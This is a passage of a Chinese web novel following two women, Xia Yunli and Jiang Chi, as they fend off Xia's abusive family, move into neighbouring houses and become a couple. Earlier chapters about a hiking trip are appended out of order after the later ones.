“哎哎哎等等,没找错,就是这儿,她给我的地址就是这啊。”夏母急了,伸脚过去挡,被夹得叫唤一声。 “刚才她还在屋里说话呢,我们都听见了!” “你再胡乱说一句,我就叫物业了,这房里一直都是我一个人住,什么时候有第二个人了?”姜池冷声道,“把你的脚拿走,不然我就报警。” 夏子龙对动不动就报警的城里人烦得要死,一把将夏母推开,举着手机,“看到没有,给的就是这个地址,我找我姐姐,她说她住这儿,人在不在,你让我们进去看看不就知道了吗?” “我租的房子,凭什么让你们陌生人说进就进。”姜池厉声拒绝,忽然又转了话头,“不过你姐姐真说住这里?” “手机拿近点,我看不清。” 夏子龙眼见她松口,忙不迭把手机又送近一些。 突然,他手里一松,宝贝的苹果就换了主人。 姜池低下头,三下五除二把聊天记录删掉清空,把好友也删了,又点进视频软件,将他冒充工作人员和夏云鲤要合作微信的对话也删掉,清了个彻彻底底。 把东西都清完,又忍着恶心抽出一张纸把手机擦得干干净净,丢了出去。 她微微一笑,“你说什么证据,我怎么没看到?” 第56章 同她十指相扣 “死贱人,臭娘们!你找死是不是!” 夏子龙眼睁睁看着姜池把聊天记录上了个干净,当场暴跳如雷,对着防盗门咣咣一通踹,把门踹得震天响,连喊带骂,好像得了逛犬病。 屋内,姜池神色冷淡,夏云鲤从卧室走出来,冷冷看着这一幕,没有出声。 “真是你!好啊死丫头片子,自己偷偷跑了,还成名人了,赚那么多钱也不知道补贴家里,我真是白养了一个白眼狼!” 夏母一见她,瞬间就扑了上来,几乎要把脑袋钻进门缝里,伸出胳膊抓她。 “快点给我把门打开!我喊你没听到吗个懒货,穿那么风骚给谁看呢!” 母子两个推搡着,一起破口大骂。 薄薄的门板,此刻像是天堑,将危险隔在外面。夏云鲤走到姜池身边,神情渐渐复杂起来,甚至带着一丝不解。 “很奇怪,你不觉得吗?从血缘关系上,我和她是母女,从性别上,我们都是女性。但她好像特别恨我,还妒忌我。” 她用了很多年才明白,不是所有为人父母的,都会爱自己的孩子。 姜池轻轻握住她的手,紧扣着她干燥的掌心,一字一句道:“大概是你年轻漂亮又聪明可爱,事业有成,生活幸福快乐,她自己过得惨。” 好不合时宜的夸奖,却让夏云鲤唇边泛起一抹笑,连心头的荒诞感也冲淡了不少。 “分明造成她痛苦的源头是家里的两个男人……”夏云鲤有心想吐槽议论几句,可看到这两张无可救药的大脸,就失去了所有谈性。 撇嘴是她最后的回应。 “你能看出来她才四十多岁吗,感觉像六十,她儿子也是,好像肥猪成精,头发油得虱子踩上去都脚滑。”夏云鲤嫌恶地皱了下鼻子,“要不我们还是把门关上吧,口臭都把屋子给熏了。” 姜池心中的愤怒与怜惜,也被小鱼犀利的吐槽压下,到了差点被逗笑的地步。 “夏盼南,你个小贱人,无法无天了,竟然敢骂我!有种你滚出来!你给我把门打开!” 夏云鲤大约是品味出了一点看人气急败坏的乐趣,摇了摇头,“夏子龙,你是不是猪油蒙了脑袋,自己智商低,就以为我也和你一样?威胁的话我不会听,但你要是下跪磕两个头给我赔礼道歉,或许我会赏你几个钱呢?” “你生的死闺女敢骂我?”夏子龙本来就是个暴躁的人,一身怒气无处发泄,憋得他眼睛都红了。 视线扫过一圈,身边正好有个出气筒,上去就推了她一下。 谁料夏母脚下一滑,脑袋咣当磕在金属门框上,咚得一声,额头沁出几丝红,人也软软倒了下去。 他还以为夏母犯懒,伸手就要把人拽起来,突然,身后传来一声大喝:“干什么呢!” 回头,几个穿着制服的警察竟然从电梯里走了出来,正好看见这一幕。 “怎么回事?谁报的警?” “是我。”夏云鲤站出来,“有人私闯民宅,故意破坏。” “好啊!你还真敢报警,那就让警察评评理,这女的是我姐,亲的,我们千里迢迢来找她,她反倒不让我们进门,警察同志,总没有这种说法吧?” 一旁晕乎乎的夏母也被人扶了起来,捂着脑袋,也不忘说话:“是啊警察同志,我是她亲妈,哪有不让亲妈进门的,这世上还能有这么不孝顺的女儿吗,我都一天没吃饭了,她就狠心看我饿着啊!” “这死丫头,高中毕业了学也不上,听说是跟着一个男的跑了,害得我们全家都抬不起头,好不容易打听到她的消息,想带她回家,可她却不认我们。”夏母拿出不讲理的劲头来,干嚎道,“你瞧瞧她穿的衣服,太不像话了,不检点,我说她两句,她还和我顶嘴,我真是要被气死了啊!” “我们都是一家人,根本没有私闯民宅!” 夏子龙和夏母两人,你一言我一语,往夏云鲤身上泼着脏水,给她都听笑了。 几个警察也有点无语,这些关系暂且不论,屋内的女生穿着短袖连衣睡裙,长度在膝盖上方,从哪儿论都和暴露无关吧? “警察同志,我根本就不认识他们两个,中午的时候,他们就来过,伪装成快递员想骗我开门,邻居可以作证,我这里还有监控,如果他们和我有亲戚关系,为什么不直接表明身份,反倒要骗我呢?”夏云鲤并不慌乱,她早就和姜池对好了说辞,按照原定计划吐字清晰地辩解。 姜池捏了捏她的手掌,目光平静中隐含鼓励,就像定海神针一样给人可靠稳重的感觉。 她随声附和道:“是的,这二人傍晚还在小区楼下停留,监控应该拍到了他们,我怀疑,他们是故意蹲点,可能不知道从哪儿知道我室友白天经常一个人,想要绑架她。” “你放屁!”夏子龙跳脚,“她是我亲姐姐,亲生的,叫夏盼南,是她给我发地址让我们过来的!” “警察同志,这是中午的监控录像。”夏云鲤把手机递过去,她心里有些紧张,心跳得很快,可源源不断的勇气从交握的掌心传来。 恨意和果决化作柴鑫,让她的肾上腺素急速飙升,发挥了前半生最精湛的演技,像是一个彻底的无辜受害者,茫然无措,却又镇定地说:“多亏有好心邻居帮忙,他们才没有得逞。” 监控只有画面没有声音,能看到夏子龙暴躁踹门的画面,他一个人叫门,另外两位躲起来的行为十分可疑,既然是见亲生女儿,还是对方主动联系,为什么要鬼鬼祟祟的藏起来? 几位警察对视,心中有了自己的判断。 “而且最重要的是,这是我的身份证,我不叫夏盼南。”夏云鲤深吸一口气,将证据拿出来。 “他们根本不是这个小区的住户,不知道如何闯进来的,恐怕连地址也记不清。”姜池又添了最后一把火。 “你说是这位女士给你的地址,有证据吗?”警察反问夏子龙,想听听他的说法。 哪儿来的证据,全让姜池给删了! 警察见这两人支支吾吾的样子,还有什么不明白的。 一边是整洁干净的年轻女生,说话条理清晰,又有证明,一边是有暴力倾向的恶臭肥宅和胡搅蛮缠的妇人,天平的倾斜没有悬念。 何况门上还有他们踹的鞋印呢。 “你们两个,涉嫌私闯民宅,扰乱治安,跟我们走一趟吧。” 夏云鲤看到那母子两人不可置信大呼小叫被带走的样子,心中的快意霎时间达到顶峰。 她已经不是曾经那个只能逃避的小女孩了,过去的阴霾缓缓散去,夏云鲤忽然笑起来,笑出声,断断续续,眼角一片晶莹。 “小鱼,你做得非常好。”姜池用这辈子都没有过的柔和声音说。 “如果不是有你帮忙,我真的……” “没有我,只靠你自己,你也从那个家里走出来了,不是吗?”姜池张开双臂,轻轻抱了她一下,“你就是这样不服输不妥协的人。” 这是一个物理意义上并不宽阔的肩膀,可夏云鲤将头枕在上面,嗅着衣物上相同的薰衣草香,却拥有了彻底的安心宁静。 “好了,时间紧迫,我们先走吧。”姜池拍了拍她的背,尽管她很喜欢拥抱和被信任的感觉,但也知道,现在不是耽误的时候。 这个地址被夏家人知道,已经不安全了。 报警把他们赶走只是权宜之计,夏云鲤改过名字,在警局系统一查就知道了。 “好。”夏云鲤快速眨掉眼角的水光,把卧室的早就准备好的行李箱拖出来,两人一起下了电梯,打算先去酒店住一段时间。 意料之中的,楼下的人已经不见了。 从家里搬出去只是暂时的,姜池有认识的律师朋友,正在咨询具体事宜。 真正见到了小鱼的父母,她才彻底明白,之前那段自己摸不着头脑的“争吵”,最根本的原因是什么。 面对这种长辈,妥协是送命,拒绝才是正确。不是小鱼反应过度,是她太蠢了,踩在雷点上蹦迪。 以后再也不会了。 她们驱车前往学校附近的酒店,而夏家三口人的状况却不太好。 警察刚下楼,就见到了正在吸烟的夏父,后者见到他们一星人走过来,不知道是慌还是什么,竟然把烟头直接扔进了灌木丛里。 当场喜提五百罚款。 到了警局,因为没造成什么实际伤害,不能拘留,但罚款和口头批评教育是少不了的。 出警的警长正好在带刚入职的新人,给她们树立榜样,同样也是看不惯这几人的德行,她眉眼锋利,对着他们足足训了一个点,说的话都不重样。 训得三人灰头土脸,走的时候交了两千的罚款,像被扒了一层皮似的。 出了警局大门,天已经黑透了。 夏父丢了好大的面子,脸色阴沉得宛若臭水沟,对着夏母就是一巴掌,“你养的好闺女!” 夏母的脑袋还昏沉着,额头上的血痂还在,却没有一个人关心她两句。 没有留力气的一巴掌,让她的嘴角高高肿了起来,捂着脸呜呜哭。 夏子龙烦躁道:“现在的重点是要钱!” 他原地转了两圈,一脚踩在花坛山,啐了一口,恶狠狠道:“她不是大博主,名人吗,找个人营销号曝光她!我看她以后怎么混下去!” …… 姜池对着酒店前台出示二维码,顺手把身份证放在台面上,面上闪过一丝不自在。 虽然为了不刻意,定的是双床房,可同住酒店这件事,本身就足以让人遐想 不过她心中短暂泛起的涟漪,在触及到身旁人的面色之时,很快就平复了下去。 “要不要吃披萨?”姜池忽地开口,“或者炸鸡汉堡?” 小鱼还没吃晚饭,快餐食品尽管不够健康,但给人的愉悦度却是排在顶峰的。 “我没什么胃口……”今天发生的事跌宕起伏,一时的胜利固然让夏云鲤感到喜悦,可不代表她能完全放下心来。 可电梯厢壁映出的失落担忧的面孔,还是让她不由得改了说辞,“吃一点也可以,你看着点吧。” 那就披萨汉堡可乐薯条都点,再来一个玉米杯、虾球和水果捞, 每样吃几口也能饱了。 夏云鲤今天睡得很晚,差不多快三四点钟才睡着,却因为心里想着事,做了一晚上的梦,第二天顶着黑眼圈被强大的生物钟叫醒。 只比平时晚起了半个多小时。 她打着哈欠,却看到手机了多了好些个未接来电,正疑惑着,新的电话再度打了进来。 “喂?” 她接起,表情渐渐空白。 姜池比她醒得早,已经洗漱完了,打算掐着最后的时间去上班,看到小鱼的模样,察觉到有些不对。 等人挂断电话,她问道:“怎么了?是谁的电话?” “警察。”夏云鲤恍惚着,仿佛要升天了,“她们说,我爸妈他们,出车祸住院了,三个人都是。” “什么?”姜池也茫然起来,怎么就出车祸了,她都不知道说什么了。 姜池请了假,和夏云鲤一起来到医院,联系她们的小警察刚巧是昨天在家门口见过的,看到夏云鲤过来,就低声说了经过。 原来是路人报案,说在早餐店门口发生了一起连环车祸,有一辆卡车司机酒驾,撞到了前面的轿车,直接把轿车撞飞出去,好巧不巧,撞到了闯红灯的三个人身上。 卡车受到缓冲,被路灯卡住,轿车是纯粹的倒霉,好在人没有出事,只是受了点轻伤,最严重的就是夏家三口,全进了急救室,能不能救回来还不一定。 警方已经查到了夏云鲤是他们的女儿,找到了联系方式,所以才把电话打了过来。 卡车司机也在急救室,不过他的伤反而没有那么严重。 走廊内很是拥挤,卡车司机的家属赶过来,面色青灰,轿车司机的家属也在,担忧中带着愤怒,只有夏云鲤是木愣愣的。 她看向姜池,姜池拍了下她的手背,握住她的手,轻轻的,一点一点,同她十指相扣。 医生很快出来,反倒是一件坏事。 白大褂沉声说:“哪位是车祸路人的家属?” 夏云鲤走上前去,对上一双沉静中带着怜悯的双眼,“请节哀。”他说,“三个人都抢救无效,去世了。” 夏云鲤的五官绷着,像被胶水黏住,所有人都以为她是太过痛苦,一时间自我封闭了情感。 医生拍了拍她的肩,叹了口气。 一旁的轿车司机和家属也走过了过来,年轻人胳膊打着石膏,妇人充满关怀和同情地望着她,“这件事……我们也有一定的责任,请务必收下我们的赔偿。” 她从精致的手包里拿出一沓支票,在上面写下一串数字,“我知道再多的金钱也无法拯救失去的事物,可它多少能让生活不那么难熬,请收下吧。” 夏云鲤还是绷着一张脸,犹豫片刻,把支票放进衣兜里。 “好孩子,这是我的电话,如果有困难了,就打给我。” 妇人又递给她一张名片,带着自己孩子离开了,一位大概是助理模样的人跟在她身后,打着电话,隐约听到一些律师之类的字样。 医院有合作的殡葬行业,相关人员找到夏云鲤,介绍着自己家的业务,她选了火化一条龙,骨灰盒要了最便宜的。 姜池找的律师朋友又给她介绍了遗产和保险获赔相关的专业同事,表示夏家留下的房产和各种资金,还有保险受益人都是她。 夏云鲤走出医院,抬头看天,感觉天都在转,事情怎么可以如此梦幻。 “不知道为什么。”她喃喃道,“我有点想笑。” 姜池想了想,“是喜丧,笑吧。” 第57章 舍不得你 车祸的事过了一段时间,夏云鲤仍旧觉得不可思议。 就好像前半生历经的苦难,积攒下来的运气在一瞬间爆发出来,让她没了所有的烦忧。 她去了老家一趟,只待了一天,把房子交付给村长帮忙卖掉,家里的地也租出去,没和谁寒暄,只去河边挖了一兜野菜处理好后,带回了阳城。 下车和上车,都有人看她,纳闷她的身份,好奇她是谁。夏云鲤认识对方,却没和她们说话。 她再也不是曾经那个干巴瘦的埋汰小孩,和过去的一切,也没什么好留恋的了。 虽然不想这么说,但托车祸的福,一直被吸血的自己,竟也有反过来接受福利的时候,她手里有了一笔巨款。 可以考虑买房的问题了。 租房总有一种漂浮感,就像自己没有固定的居所,没有一个真正能称之为家的地方。 她手里资金充足,能考虑的范围就广了很多,地段好的精装新房和二手房都可以看看。 只是,要是买房搬家,和姜池就要分开了。 夏云鲤虽然有了想法,考虑到姜池,和那点说不清道不明的小心思,迟迟没能开口。 这天,她和中介又去看了一栋二手房,两居室,装修很素净,挨着商场,价格也合适。 凭心而论,这几天她看的房子都不错,没什么大缺点也没有小毛病,可夏云鲤就是提不起兴致。 给中介道了谢,辛苦她又白跑一趟,夏云鲤送给对方一盒马卡龙,心底有些烦躁地上楼。 拿钥匙打开家门,却发现今天说了加班的姜池竟然就在沙发上坐着,不知怎么,她忽然感觉一阵心虚,把头低了下去。 “你怎么回来了?”话一出口,她赶紧又咳嗽两声,“那什么,我现在就去做饭,等我一会儿哦。” “好。”姜池说,和平时一样,“我不饿,不用着急。” 夏云鲤对她扯出一抹笑,快步走进厨房带好围裙,开始洗手切菜。 通常姜池加班不吃晚饭,她本来想叫个外卖对付一顿得,肉没有解冻,就简单炒两个素菜好了。 她心里想着事儿,手下速度却也没慢多少。 刷刷几下,两颗土豆就削完了皮,被放在案板上切成片,顺着一码,排成长排,她便开始切丝。 流利的刀功几乎要舞出残影,笃笃笃的声音连绵成串,不知道的还以为在胡乱剁馅。 “你是想买房吗?” 姜池突然来了一句,惊得夏云鲤手下一歪,锋利的刀刃瞬间割入指尖,十指连心,刺痛让她反射惊叫。 她这个大厨,少有的几次失手,都拜姜池所赐。 指尖的痛还在其次,姜池的话才是让她心慌紧张的罪魁祸首。 “啊,什么?”她打着哈哈,“你怎么会这么问?” 问话的人却没答,大步走到厨房,抓着她的手去冲水,看着超过一厘米的伤口深深皱眉。 “对不起。”姜池开口,“我不该和你说话,让你分心。” “没有啦,做菜的人谁没被刀切过,小伤小伤。”夏云鲤咬了咬舌尖,“也是我自己不小心。” 姜池的手一向冰凉如玉,可比起自来水的冷,连她的掌心也衬得温暖起来。 这种小伤口,夏云鲤都不在乎,随便扯个创可贴就得了。 姜池却如临大敌,又是冲水,又是用厨房纸包着按压,最后还拿出医药箱涂了碘伏,这才给手指头包起来。 她原谅和分锅的话并没能让姜池放下愧疚,后者拧着的眉头没有松开的意思,“别做饭了,我叫外卖。” “都行,听你的。”夏云鲤清了清嗓,跟着看了几家店铺后,故作随意地问,“你为什么突然说起房子的事儿了?” “垃圾桶里有售楼的宣传单。”姜池握着手机的指尖动了动。语气仍旧平稳,“你是想买房吗?” 几天前她就看到了一张,昨天又有。她接传单从来不会带回家里,走到没人的地方就扔掉。小鱼平时没有接传单的习惯,除非,这是她专门带回来的。 一次是巧合,两次不是。 “是……有这个打算来着。”夏云鲤都不知道自己在为什么心虚,可面对姜池的询问,她总有种抬不起头的感觉,仿佛做了什么错事。 “买房也好,一直租房还是不方便。”姜池说,“你有看好的地方吗?” “还没,看了几个,都不太喜欢。”夏云鲤忍着别扭说,“也不着急啦,这个房还能租几个月,合同才到期呢。” “这样。”姜池半垂着眼眸,睫毛掩住眼底的的情绪,“你有什么偏好吗?我也可以帮你挑挑。” “附近有商场,交通方便一点就行,我好像也应该买个车,考个驾照,毕竟现在不用担心钱的问题了。” “我认识一个驾校的老师,她人还不错,可以推给你。”姜池说,声音淡淡的,好像没什么情绪,“房子我也会帮你留意下,比如宽城这种老城区翻新的就没必要看了。” 夏云鲤听着她有条理地安排和建议,心里的沉闷感更上了一层。 好歹也一起住了几个月,怎么也算得上是朋友,她都要搬走了,这人连一句舍不得的话都没有吗? “好啊好啊,有你这个本地人帮忙真是太好了。” 她勉强挤出一点笑脸来,“我……先回房换件衣服,外卖到了喊我哦。” 一转身,这点稀薄笑意便垮下来,夏云鲤鼻头一酸,卧室门刚关上,两滴眼泪就吧嗒掉在地上。 她赶紧用手背蹭掉,拼命地眨眼睛,把泪水憋回去。 看来她的喜欢真是自作多情,这样也好……大家萍水相逢,好聚好散,这几个月也挺高兴的。 心里是这样想,嘴角却没翘起来。 接下来的几天,她有意识地逐渐减少和姜池的互动,这次是真的试图一点点拔除掉对方在自己心里的位置和习惯。 用的借口也很好——背科目一的考题。 她脑袋笨,背得慢,要专心致志,也是可以理解的。 姜池察觉到了这样的变化,心里的焦躁愈发严重,破釜沉舟的想法同样蠢蠢欲动,一天比一天烧得更旺。 “我找到了一个不错的房子。”晚餐的时候,姜池自然地说,“是学校一位退休教授的房,本来是给女儿买的婚房,但是女儿在首都定居,把她也给接了过去,她就想把这个房子卖掉。” “非常好的联排小别墅,没住过几次,价格也不贵,只要三百多万,还带一块前庭花园,隐私性和安保都很好,明天要不要去看看?就在华清园。” “华清园的别墅,才三百多万,怎么可能……啊!”夏云鲤惊讶到一半,恍然大悟,“是给你的友情价吧,对不对?” 姜池才不会把自己功劳向外推,却也没直白点头,只是说:“教授比较喜欢我。” 这要是买下来,人情岂不是欠大了?可姜池专门问的,她总得去看一眼,夏云鲤犹豫了片刻,便点头同意下来。 第二天傍晚,她就来到了农大的校门口,和下班的姜池一起出发去了华清园。 老教授已经在别墅里等着了。 这是一位看起来很和蔼的老人,头发花白,戴着眼镜,身量微丰,笑眯眯的,就像邻家奶奶似的。 “小姜来了啊,哎,这位就是小夏吧,真好,一看就有福气。”老教授笑呵呵地拍了拍两人的肩膀,“走走,我带你俩逛一圈。” “楼下这是客厅,这边是厨房,储藏室,这有一个卧室,一个卫生间,还有一个会客室,楼上有书房,衣帽间,画室……” 她领着两人在别墅里走了一遍,把所有房间都看过了,末了说道:“这里的家具都随屋赠送,也花了大几十万,用的都是好牌子。装修完就一直闲置着,一年都住不上一回,和全新的也没什么区别了。” 夏云鲤本来只是看看,但逛了一圈后,她实在不能违心地说房子不好,价格过分实惠,装修也过分漂亮,完全是她喜欢的暖色调温馨风格,前庭的小花园铺满了草坪,木制的棚,甚至还有一架秋千,屋后也送一小块地,用来种点什么再好不过。 这简直就是梦中情房。 这里离学校很近。 离姜池也很近。 可一旦签订合同,就意味着她要搬家了。 夏云鲤心烦意乱着,却听见老教授和姜池说,“房子交给你我也放心,我那屋装修老气,年轻人可能不喜欢,你想换就换,别的无所谓,但是换掉的字画得给我寄回来,那可是徐老的墨宝,别人我才不给。” 字画? 这屋里没有字画啊? 她又扫了一圈,确定没看到一张字画,倒是有几副色调清新风景油画,农大的教授,总不能口误。而这间别墅,和老气也实在搭不上边。 夏云鲤纳闷起来。 姜池却一口应下,“请放心,我一定会好好保管的。” 回去的路上,她想了一道也没想通,索性问了出来,“你刚刚和老教授说什么字画,我怎么没见到?” “在隔壁。”姜池望了她一眼,眼底仿佛有一道光迅速游过,“如果你买这栋,我就买隔壁那栋。” 她握着方向盘的指尖紧到泛白,“小鱼,我不想和你分开……太远。” 灯光在她的脸上明灭,仿佛闪烁不定的心跳。 夏云鲤霎时间无言,心底猛然再度升起一股躁动,和下午的那种不同,和这些天的都不同。 是好的那种。 什么意思,她说这话是什么意思? “怎么啦?”她哈哈两声,却没发现自己的声音比平时要紧,颤得像抖动的琴弦,“舍不得我做的饭吗?” “舍不得你。” 【END】 第58章 已经红透的脸还能更红吗 好朋友不想分开很正常,好朋友不想分开很正常,好朋友不想分开很正常!!! 重要的事要说三遍。 自己以前不也想着永远不结婚不谈恋爱,就和闺蜜住大别墅一起生活吗?这是感情深的表现。 夏云鲤把脸狠狠埋在被子里,滚了好几圈也没能压下面颊上的热度。 她抬手用手背挨上滚烫的皮肤,拉长音哀嚎一声。 说了好几遍要对姜池死心,怎么没人告诉她,这件事比学数学还难? 心没死成,反而更活泛了。 她恹恹地翻了个身,大字型躺在床上,想唾弃自己,又实在懒得。 第二天,她们就签了合同,各种手续办完,三天后,夏云鲤拿着新到手的房产证,指腹反复摩挲着上面自己的名字,有种漂浮已久的心,终于有实处可以落地的安全感。 她有家了。 一个完完整整属于她自己的家。 再也不用担心会被人赶出去,只有她赶别人的份。 和原来的房东说好,搬去新家的当天,两个人都气喘吁吁,相邻的客厅摆满了各种箱子。 姜池却找到她,眼神明亮,“明天休息,东西不着急收拾,要不要出去吃个饭,好好庆祝一下?最近不是正好上了异形系列的新电影吗,我们可以一起去影院看,你觉得怎么样?” “好呀!等我十分钟,我换套衣服就来!”夏云鲤噔噔噔跑上楼,扒开装衣服的箱子,从里面翻出一条牛仔背带裤和浅黄色的短袖套上。 镜中的人天生丽质,娇俏可爱,搬箱子的运动让她双颊泛红,更添一份好气色,连口红都不用涂了。 她之前在姜池面前太过放松,好像什么形象都见过了,化不化妆也没关系。 但夏云鲤犹豫了几秒,还是快速洗了把脸,涂了一层隔离,再点了几下高光,顺手把唇釉和头绳塞进背带裤的口袋里。 这不是化妆,她暗自嘀咕,这是对庆祝新家活动的尊重。 上了车,她开始给头发编辫子。 入秋的天气,阳城仍旧很热,她的头发太多,在家才会披散着,因为有空调,出门还是习惯梳起来,不然太热。 等她把两边辫子都弄好,才发觉目的地不是常去的商场。 “咱们要去哪儿呀?”夏云鲤看了一眼导航。 “有一家私房菜馆很好吃,我忽然想起来,还没带你去过。”姜池不紧不慢地说。 她的语气平淡如常,目光冷静,任谁也瞧不出来后车厢里摆了一车的玫瑰花。 夏云鲤倒是闻到了,她鼻子太灵,想闻不到都难。 但姜池早有对策,把车内的香薰换成了镂空玫瑰花的金瓶,不用出声就能答疑解惑。 它看起来像花香味儿的原因,其实就是一个装了一点水的瓶子而已。 到了私房菜馆,姜池点了几道菜,又把菜单递给夏云鲤,都点完单后,她低声道:“我去一趟卫生间。” 夏云鲤嗯嗯两声,“去吧去吧。”就接着低头玩起手机来。 姜池出门,找到服务员,托她帮个小忙,又把提前包好的红包递过去。 包厢内,夏云鲤开了几局消消乐小游戏,打得专心致志,玩着玩着,忽然发觉哪里不对。 姜池好像走了很长时间了。 去卫生间需要这样久吗? 正疑惑间,包厢的门被敲了几下,外面传来服务员的声音,“您好,来上菜了。” 夏云鲤放下手机,颇为期待地看过去,搬了半天家,又坐了好久的车,她是真饿了。 下一秒,门被打开,进来的不是服务员,而是姜池。 推着一车玫瑰花。 白色如新娘的头纱,蓝色如澄净的天穹,粉色如少女的面颊,淡淡的紫像晚霞晕开的光,浅绿的叶是枝头新芽。 夏云鲤完全惊呆了,手机咣当掉在地上,她都没分心看上一眼。 “姜、姜池?”她声音颤抖得像触电,“你你你你你……” “我喜欢你。”姜池拿起花束上的红色锦盒,吧嗒一下打开,露出里面的铂金项链。 她单膝跪地,一双黑色眼瞳眨也不眨,深深凝望着夏云鲤,“我可以成为你的女朋友吗?” 夏云鲤瞬间捂住自己的嘴巴,可还有半声惊叫露在外面,暴露出她激动的心情。 “你、你……” 她的胸膛剧烈起伏着,绯红从双颊蔓延至耳廓,眼睛睁得溜圆,简直要晕过去。 “怎么回事啊!你喜欢我?”夏云鲤拼命眨着眼睛,大脑都要成浆糊了,“真的假的,啊啊啊啊,我是不是在做梦啊,救命救命!” “我喜欢你。”姜池说,“不是做梦。” “等等我是不是还没回答呢?我答应我答应!”夏云鲤激动地直跺脚,才反应过来姜池还跪着,赶紧伸手一把将人拽起来。 谁料没控制好力气,直接把姜池拉进怀里,一张脸再度埋到胸口。 馨香满怀。 姜池也彻底压制不住内心的羞意,整张脸刹那间红透,比夏云鲤还严重。 “姜姜!我也喜欢你!”夏云鲤像是彻底打开了话匣子,抱着人不松手,像只兴奋的松鼠嘀嘀咕咕,“我喜欢你好长时间了,具体什么时候不清楚,等发现的时候已经来不及,你知道嘛,我要搬家的时候也超级舍不得,怕离你太近会一直想你,又怕离你太远也会一直想你,还好你也喜欢我,真好真好,好高兴!” 她说话时兴奋得扭来扭去,姜池却抬不起来脸,被迫亲密接触了好久,等她松手,姜池都要窒息了。 不知道是憋气憋的,还是羞耻太浓,她那张一直维持的冷淡面孔终究碎掉,指尖哆嗦着扶正眼镜框,体温高到仿佛在冒气。 “这是,这是给你的礼物。” 做了好几个深呼吸,姜池勉强找回理智,把项链从盒里拿出来。 那是一条鲤鱼,但鱼鳍格外宽大,仿佛翅膀,鱼尾摆动,如同翱翔。 铂金的项链,末端刻着夏云鲤名字的缩写,也凝聚了姜池的期盼与爱。 夏云鲤给自己改名的时候就在想,她想要做一条鱼,一条游在天空里的鱼,云彩是她甩起的浪花,她可以游向任何想去的地方。 也许,她已经找到了自己想要的。 “你帮我戴上嘛。”她软着声请求,胳膊却抱得很紧,不让姜池从自己腿上下去。 姜池只得这样坐着,将项链解开,绕过她的脖颈,俯下身子靠近,想要将它扣上。 唇上却是一热。 “谢谢你,女朋友。” 夏云鲤笑得狡黠,像只偷香的小狐狸。 已经红透的脸还能更红吗? 姜池在今天找到了答案。 50-57 第51章 她心跳如鼓 周六早晨七点半,夏云鲤和姜池一起开车来到学校门口,和组织活动的主任打了个招呼。 “姜池!小鱼!” 庄思雨离老远就对着两个人招手,夏云鲤循声望过去,差点没有认出来是她。 她有一双很好看的杏眼,这种眼型本应该是清纯无辜的代名词,可夏云鲤平时看到她,完全感受不到她身上有这两种气质,有的只是无止境的班味。 整个人好像被太阳暴晒了三天三夜,脱水干巴到一定地步,头发梳成大光明,把额头都露出来,扎成很低的盘发,再配上一副又黑又粗的方框眼镜。 给人一种非常稳重的老师形象,仿佛有从业三十年的经验。 但庄思雨今天大不相同。 发尾烫了大波浪,眼镜换成了很有混血感的灰蓝色美瞳,卧蚕腮红高光仙子睫毛一个不落。 墨绿色的挂脖长裙,腰部收得纤细,又有气质又美,好像中欧时期的贵族小姐,当场年轻十岁。 夏云鲤:“哇塞!” 庄思雨笑着挽着一个男人的胳膊,介绍到:“我老公邵峰。” 夏云鲤仍旧张大嘴被震惊到,“庄老师,你今天美呆了。” 庄思雨哈哈大笑,“是吧,化妆化了一个点呢。我让邵峰带了照相机,一会儿多拍两张,给你俩也拍,他专业的。你们也是开车来的吗?正好,我们也是,咱们一起走吧,不用等着坐大巴,登完记就行了。” “好啊好啊。” 上了车,夏云鲤还沉浸在庄思雨带来的反差冲击中,“我第一回见不上班的庄老师,容光焕发的,可见当社畜能把一个人变成什么样……” “不过我之前还看过网上的段子,说老师就应该打扮得难看一点,免得被学生表白,职场生涯就完蛋了。” “她有老公。”驾驶座的姜池冷不丁冒出一句。 夏云鲤一口汽水呛在喉咙,“什么!你说什么呢,她当然有老公,我们不是才见到嘛!” “我今天也很好看,你都没夸我。”姜池说,语气很平淡,内容不是。 夏云鲤心底一颤,指尖抠了下安全带,顿了顿才回:“好看,你今天很帅。” 越是在意,越要回避。她们同处一室,夏云鲤怎么可能注意不到姜池今天专门过来借了她的直板夹,对照视频教程,给头发做了造型。 她的动手能力极强,一次就成功了。发丝向后卷着,有点像狼尾青春版。 偏藕粉扎染的衬衫交叉系扣掖进裤腰,外面再套一件很有垂坠感的白色马甲,搭配黑色阔腿裤和运动鞋,陶瓷贝壳的复古风长项链垂在胸口,手腕上是自己之前送她的黑金棕手串。 坦白说,如果庄思雨今天的反差对她的冲击是五,那么姜池带来的震动,就是满分一百。 初次见面,姜池是只穿黑白灰的冷淡人机,现在她的衣柜里出现了各种浅浅的亮色,好似只有半个月春季的草原,在冰天雪地里开出五颜六色的花。 有些慵懒随意的,帅气的,仿佛会刷到的颜值博主从视频里走了出来。 夏云鲤真不想在自己脸上贴金,把这份功劳安在头上。 “谢谢。”姜池说,“你今天也很好看,我们穿的是……闺蜜装,别人一看就知道我们两个是一起的。” 夏云鲤绞尽脑汁想说点什么,但今天的粉色吊带让所有辩解都显得苍白无力。 半晌后,她认命般无奈道:“是这样的。” 没关系,闺蜜装就是好朋友之间会穿的。她安慰自己说。 姜池的嘴角隐秘地翘了翘。 五福山是阳城有名的旅游景点,传说有仙人在此地讲开设道场法,留下五个连在一起的小型湖泊,恰好组成一个月牙形状,所以又叫月牙湖。 湖边有一棵很大的桃树,枝繁叶茂,花期长久,许多人在树下许愿,希望自己走桃花运。 姜池已经计划好了,她们先徒步爬山,到了月牙湖欣赏一会儿景色,坐船穿过湖面,到另一边。 使用“来都来了”魔咒,让小鱼和她一起去桃树下许愿。 别的行程都不重要,甚至连日出都排在后面。 相信科学的姜池,偶尔也会临时抱一抱玄学的佛脚。 进停车场时,姜池出示了电子门票,获得免费停车的福利。 学校组织是免门票的,但她们两个还要租景点的帐篷,所以就各自买了两张带项目的套票。 她们到的晚一点,验完票进门,就看到庄思雨和她对象已经拍了起来。 “这边这边!”庄思雨喊到。 “这里光好,你们也来拍两张,闲着也是闲着,正好等她们大部队。” 夏云鲤还在犹豫,姜池就一口答应下来,应完了才扭过头看她,轻声问:“我们一起拍可以吗?” 她身上有很浅淡的草木香气,被山风吹拂着,送到夏云鲤的鼻尖。 心跳如鼓。 “好。”她说。 第52章 对喜欢的人没有原则 “离的近一点嘛,站得太远了,我都不知道怎么构图了。” “对对对就是这样,姜老师的手可以搭在鱼老师的肩膀上,低头,凑近一点,看她就可以,不用看我。” 庄思雨在一旁噗嗤笑出声,“什么鱼老师,人家不姓鱼!姓夏。” 